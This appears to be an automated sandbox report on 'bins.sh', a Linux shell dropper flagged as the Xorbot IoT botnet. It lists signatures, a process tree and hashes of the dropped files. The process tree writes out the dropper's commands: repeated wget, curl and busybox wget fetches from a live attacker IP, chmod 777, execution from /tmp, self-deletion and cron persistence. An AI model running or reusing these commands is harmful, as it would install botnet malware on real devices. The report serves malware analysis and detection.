Analysis

  • max time kernel
    124s
  • max time network
    79s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    06/01/2025, 01:00

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250106-bc2b8atjgk
  • SHA256 30367e0773b6cd4050b48c6362f82d9032ee3a01e38e091319797f54c7b4fdf3
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 8 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:696
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:698
        • /usr/bin/wget
          wget http://66.63.187.225/bins/Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
          2⤵
          • Writes file to tmp directory
          PID:703
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
          2⤵
          • Writes file to tmp directory
          PID:721
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
          2⤵
          • Writes file to tmp directory
          PID:727
        • /bin/chmod
          chmod 777 Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
          2⤵
          • File and Directory Permissions Modification
          PID:728
        • /tmp/Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
          ./Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:729
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:731
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:732
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:733
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:734
              • /bin/rm
                rm Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
                2⤵
                  PID:736
                • /usr/bin/wget
                  wget http://66.63.187.225/bins/sa1pa4l3UTUjVZgNuc7JtovsZ9kZgWwGpu
                  2⤵
                    PID:739
                  • /usr/bin/curl
                    curl -O http://66.63.187.225/bins/sa1pa4l3UTUjVZgNuc7JtovsZ9kZgWwGpu
                    2⤵
                      PID:740
                    • /bin/busybox
                      /bin/busybox wget http://66.63.187.225/bins/sa1pa4l3UTUjVZgNuc7JtovsZ9kZgWwGpu
                      2⤵
                      • Writes file to tmp directory
                      PID:741
                    • /bin/chmod
                      chmod 777 sa1pa4l3UTUjVZgNuc7JtovsZ9kZgWwGpu
                      2⤵
                      • File and Directory Permissions Modification
                      PID:742
                    • /tmp/sa1pa4l3UTUjVZgNuc7JtovsZ9kZgWwGpu
                      ./sa1pa4l3UTUjVZgNuc7JtovsZ9kZgWwGpu
                      2⤵
                      • Executes dropped EXE
                      PID:743
                    • /bin/rm
                      rm sa1pa4l3UTUjVZgNuc7JtovsZ9kZgWwGpu
                      2⤵
                        PID:745
                      • /usr/bin/wget
                        wget http://66.63.187.225/bins/6FPlfIoPiK3CpCmvd0NIPZOpH73bzuXaNS
                        2⤵
                        • System Network Configuration Discovery
                        PID:746
                      • /usr/bin/curl
                        curl -O http://66.63.187.225/bins/6FPlfIoPiK3CpCmvd0NIPZOpH73bzuXaNS
                        2⤵
                        • System Network Configuration Discovery
                        PID:747
                      • /bin/busybox
                        /bin/busybox wget http://66.63.187.225/bins/6FPlfIoPiK3CpCmvd0NIPZOpH73bzuXaNS
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:748
                      • /bin/chmod
                        chmod 777 6FPlfIoPiK3CpCmvd0NIPZOpH73bzuXaNS
                        2⤵
                        • File and Directory Permissions Modification
                        PID:749
                      • /tmp/6FPlfIoPiK3CpCmvd0NIPZOpH73bzuXaNS
                        ./6FPlfIoPiK3CpCmvd0NIPZOpH73bzuXaNS
                        2⤵
                        • Executes dropped EXE
                        • System Network Configuration Discovery
                        PID:750
                      • /bin/rm
                        rm 6FPlfIoPiK3CpCmvd0NIPZOpH73bzuXaNS
                        2⤵
                        • System Network Configuration Discovery
                        PID:752
                      • /usr/bin/wget
                        wget http://66.63.187.225/bins/OtK5otJTXyRXVTsJMAg86MXgh3RTC4jPri
                        2⤵
                          PID:753
                        • /usr/bin/curl
                          curl -O http://66.63.187.225/bins/OtK5otJTXyRXVTsJMAg86MXgh3RTC4jPri
                          2⤵
                            PID:754
                          • /bin/busybox
                            /bin/busybox wget http://66.63.187.225/bins/OtK5otJTXyRXVTsJMAg86MXgh3RTC4jPri
                            2⤵
                            • Writes file to tmp directory
                            PID:755
                          • /bin/chmod
                            chmod 777 OtK5otJTXyRXVTsJMAg86MXgh3RTC4jPri
                            2⤵
                            • File and Directory Permissions Modification
                            PID:756
                          • /tmp/OtK5otJTXyRXVTsJMAg86MXgh3RTC4jPri
                            ./OtK5otJTXyRXVTsJMAg86MXgh3RTC4jPri
                            2⤵
                            • Executes dropped EXE
                            PID:757
                          • /bin/rm
                            rm OtK5otJTXyRXVTsJMAg86MXgh3RTC4jPri
                            2⤵
                              PID:758
                            • /usr/bin/wget
                              wget http://66.63.187.225/bins/6mbe4QuBHEWzjnwx94o77PQgv1tyH66t3q
                              2⤵
                                PID:759
                              • /usr/bin/curl
                                curl -O http://66.63.187.225/bins/6mbe4QuBHEWzjnwx94o77PQgv1tyH66t3q
                                2⤵
                                  PID:760
                                • /bin/busybox
                                  /bin/busybox wget http://66.63.187.225/bins/6mbe4QuBHEWzjnwx94o77PQgv1tyH66t3q
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:761
                                • /bin/chmod
                                  chmod 777 6mbe4QuBHEWzjnwx94o77PQgv1tyH66t3q
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:764
                                • /tmp/6mbe4QuBHEWzjnwx94o77PQgv1tyH66t3q
                                  ./6mbe4QuBHEWzjnwx94o77PQgv1tyH66t3q
                                  2⤵
                                  • Executes dropped EXE
                                  PID:765
                                • /bin/rm
                                  rm 6mbe4QuBHEWzjnwx94o77PQgv1tyH66t3q
                                  2⤵
                                    PID:767
                                  • /usr/bin/wget
                                    wget http://66.63.187.225/bins/IdSZHvDtIXXxrV5u7pc2MnRRtSAHG0mJku
                                    2⤵
                                      PID:769
                                    • /usr/bin/curl
                                      curl -O http://66.63.187.225/bins/IdSZHvDtIXXxrV5u7pc2MnRRtSAHG0mJku
                                      2⤵
                                        PID:770
                                      • /bin/busybox
                                        /bin/busybox wget http://66.63.187.225/bins/IdSZHvDtIXXxrV5u7pc2MnRRtSAHG0mJku
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:772
                                      • /bin/chmod
                                        chmod 777 IdSZHvDtIXXxrV5u7pc2MnRRtSAHG0mJku
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:777
                                      • /tmp/IdSZHvDtIXXxrV5u7pc2MnRRtSAHG0mJku
                                        ./IdSZHvDtIXXxrV5u7pc2MnRRtSAHG0mJku
                                        2⤵
                                        • Executes dropped EXE
                                        PID:778
                                      • /bin/rm
                                        rm IdSZHvDtIXXxrV5u7pc2MnRRtSAHG0mJku
                                        2⤵
                                          PID:781
                                        • /usr/bin/wget
                                          wget http://66.63.187.225/bins/5i6Mual0qfnfVVLCR5k0SWGGJlEw8krtnv
                                          2⤵
                                            PID:783

                                        Network

                                              MITRE ATT&CK Enterprise v15

                                              Replay Monitor

                                              Loading Replay Monitor...

                                              Downloads

                                              6FPlfIoPiK3CpCmvd0NIPZOpH73bzuXaNS

                                              • Path /tmp/6FPlfIoPiK3CpCmvd0NIPZOpH73bzuXaNS
                                              • Size 111KB
                                              • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                              • MD5 SHA1 SHA512 SSDEEP

                                              6mbe4QuBHEWzjnwx94o77PQgv1tyH66t3q

                                              • Path /tmp/6mbe4QuBHEWzjnwx94o77PQgv1tyH66t3q
                                              • Size 99KB
                                              • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                              • MD5 SHA1 SHA512 SSDEEP

                                              IdSZHvDtIXXxrV5u7pc2MnRRtSAHG0mJku

                                              • Path /tmp/IdSZHvDtIXXxrV5u7pc2MnRRtSAHG0mJku
                                              • Size 177KB
                                              • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                              • MD5 SHA1 SHA512 SSDEEP

                                              Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk

                                              • Path /tmp/Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
                                              • Size 151KB
                                              • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                              • MD5 SHA1 SHA512 SSDEEP

                                              OtK5otJTXyRXVTsJMAg86MXgh3RTC4jPri

                                              • Path /tmp/OtK5otJTXyRXVTsJMAg86MXgh3RTC4jPri
                                              • Size 107KB
                                              • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                              • MD5 SHA1 SHA512 SSDEEP

                                              sa1pa4l3UTUjVZgNuc7JtovsZ9kZgWwGpu

                                              • Path /tmp/sa1pa4l3UTUjVZgNuc7JtovsZ9kZgWwGpu
                                              • Size 111KB
                                              • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                              • MD5 SHA1 SHA512 SSDEEP

                                              tmp.J7h8WM

                                              • Path /var/spool/cron/crontabs/tmp.J7h8WM
                                              • Size 210B
                                              • SHA256 7b87da64993d2132a4e3fa72785678e371b4774e5d525f6cc83c245ecfe59e55
                                              • MD5 SHA1 SHA512